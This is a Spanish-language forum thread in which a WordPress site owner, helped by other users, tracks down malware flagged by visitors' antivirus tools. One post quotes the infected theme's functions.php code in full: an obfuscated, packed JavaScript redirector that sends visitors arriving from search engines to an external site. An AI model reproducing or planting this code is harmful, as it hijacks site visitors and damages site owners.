¿Cómo verificar si mi sitio tiene un virus?

Eliop

Lambda

Social Media

Verificación en dos pasos activada

• 30 Dic 2011

• #1

Hola amigos.

El punto es que hace 1 semana cree mi primer sitio en wordpress, cree unas 3 entradas ya que no he tenido tiempo de actualizarlo, hoy les paso la url a unos amigos y me dicen que sus antivirus le saltaron advirtiéndoles que mi web esta infectada.

Actualmente no cuento con un antivirus, pero analizo la url con virustotal y no aparece nada, en cuestión la url del sitio es:

Enlace eliminado
¿Alguna persona le sale la advertencia al entrar a mi sitio?.

Un saludo.

 

J

julianm

Delta

• 30 Dic 2011

• #2

Sí, me sale la advertencia con Avast. JS:Redirector-MR Tri.

 

Eliop

Lambda

Social Media

Verificación en dos pasos activada

• 30 Dic 2011

• #3

¿Sabes donde puedo ubicar el archivo o código?

 

J

julianm

Delta

• 30 Dic 2011

• #4

Puede estar en functions.php - Por lo general se inserta como un iframe pero codificado base64. Puedes intentar buscar líneas que comiencen con eval() en PHP. Tuve el mismo problema y pude removerlo de algunos sitios pero aún lo tengo presente en otros. También puede estar presente en otras ubicaciones, como por ejemplo en algún contenido de la base de datos, en algún archivo PHP de /wp-content/uploads o algún plugin, así como también los temas de WP. Podrías intentar cambiar de tema WP para ver si con eso se va, y luego ir buscando en otros archivos...

Sería recomendable que actualices el código así como también los archivos de plugins que uses. Es algo tedioso hacerlo, lo se...

 

Eliop

Lambda

Social Media

Verificación en dos pasos activada

• 30 Dic 2011

• #5

Joer se oye complicado, pues bien ahora intentare cambiar de theme para probar que tal, ademas buscando en el theme en Functions.php halle este código con la palabra eval

Insertar CODE, HTML o PHP:

echo "<script language=\"JavaScript\">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\\b'+e(c)+'\\\b','g'),k[c]);return p}('e r=x.9,t=\"\",q;4(r.3(\"m.\")!=-1)t=\"q\";4(r.3(\"7.\")!=-1)t=\"q\";4(r.3(\"8.\")!=-1)t=\"p\";4(r.3(\"a.\")!=-1)t=\"q\";4(r.3(\"f.\")!=-1)t=\"g\";4(r.3(\"j.\")!=-1)t=\"q\";4(t.6&&((q=r.3(\"?\"+t+\"=\"))!=-1||(q=r.3(\"&\"+t+\"=\"))!=-1))B.C=\"v\"+\"w\"+\":/\"+\"/A\"+\"b\"+\"k\"+\"5\"+\"h.\"+\"c\"+\"z/s\"+\"u\"+\"5\"+\"h.p\"+\"d?\"+\"t\"+\"y=1&t\"+\"i\"+\"l=\"+r.n(q+2+t.6).o(\"&\")[0];',39,39,'|||indexOf|if|rc|length|msn|yahoo|referrer|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|ms|google|substring|split||||||ea|ht|tp|document|||go|window|location'.split('|'),0,{}))</script>";
			}

¿Puede ser peligroso?

 

J

julianm

Delta

• 30 Dic 2011

• #6

Ouch, me temo que debe ser eso.

Probá hacerte un backup de todo, y luego ir borrando ese tipo de códigos.

Si tienes WP Super cache recordá eliminar el caché luego de hacer cambios. Saludos!

 

robersnake

Épsilon

Verificación en dos pasos activada

• 30 Dic 2011

• #7

Eliop yo tuve ese problema con el mismo código maligno y se corrigió cuando actualice a la versión mas reciente de Wordpress. Tal vez haciendo lo mismo se te corrija.

Saludos!

 

Eliop

Lambda

Social Media

Verificación en dos pasos activada

• 30 Dic 2011

• #8

Como comente amigo Rober lo cree hace 1 semana, osea que descargue la nueva versión de wordpress.

Ahora mismo cambie de theme.

¿Todavía salen las alertas de antivirus?

Un saludo
Gracias por sus respuestas.

 

robersnake

Épsilon

Verificación en dos pasos activada

• 30 Dic 2011

• #9

A mi ya no me salto la alerta de virus trojano.

Saludos!

 

J

julianm

Delta

• 30 Dic 2011

• #10

Actualizar los archivos a mi me solucionó el asunto por unos días, luego apareció de nuevo.

Recién probé y ahora no me sale el aviso, pero te sugiero que le hagas un seguimiento, ya que podría estar en alguna otra parte y aparecer en días. Saludos.

 

Eliop

Lambda

Social Media

Verificación en dos pasos activada

• 30 Dic 2011

• #11

Gracias Rober y Julian ahora mismo me pondré a buscar las actualizaciones.
Si a otra persona con su antivirus le sale la alerta favor notificármelo.

Saludos.

 

V

Valadez

Eta

Programador

• 31 Dic 2011

• #12

Ya no salta el antivirus.
😛8:

 

M

Mao

Beta

Diseñador

¡Usuario con pocos negocios! ¡Utiliza siempre saldo de Forobeta!

• 31 Dic 2011

• #13

A mi no me sale nada ni en NOD32 ni en el Karsperki ni tampoco en la lap con Essentials

 

R

rai

Gamma

Social Media

• 31 Dic 2011

• #14

hola, te recomiendo que instales este plugin WordPress › TAC (Theme Authenticity Checker) « WordPress Plugins
al activarlo te crea un pestaña llamada tac, y si entras te analiza los theme que tengas subidos a la carpeta theme, te dice si tiene codigo cifrado, o links ocultos entre otras cosas

 

Eliop

Lambda

Social Media

Verificación en dos pasos activada

• 31 Dic 2011

• #15

Muchas gracias todos, espero que no vuelva aparecer eso :s.
P.D
Gracias rai lo probare.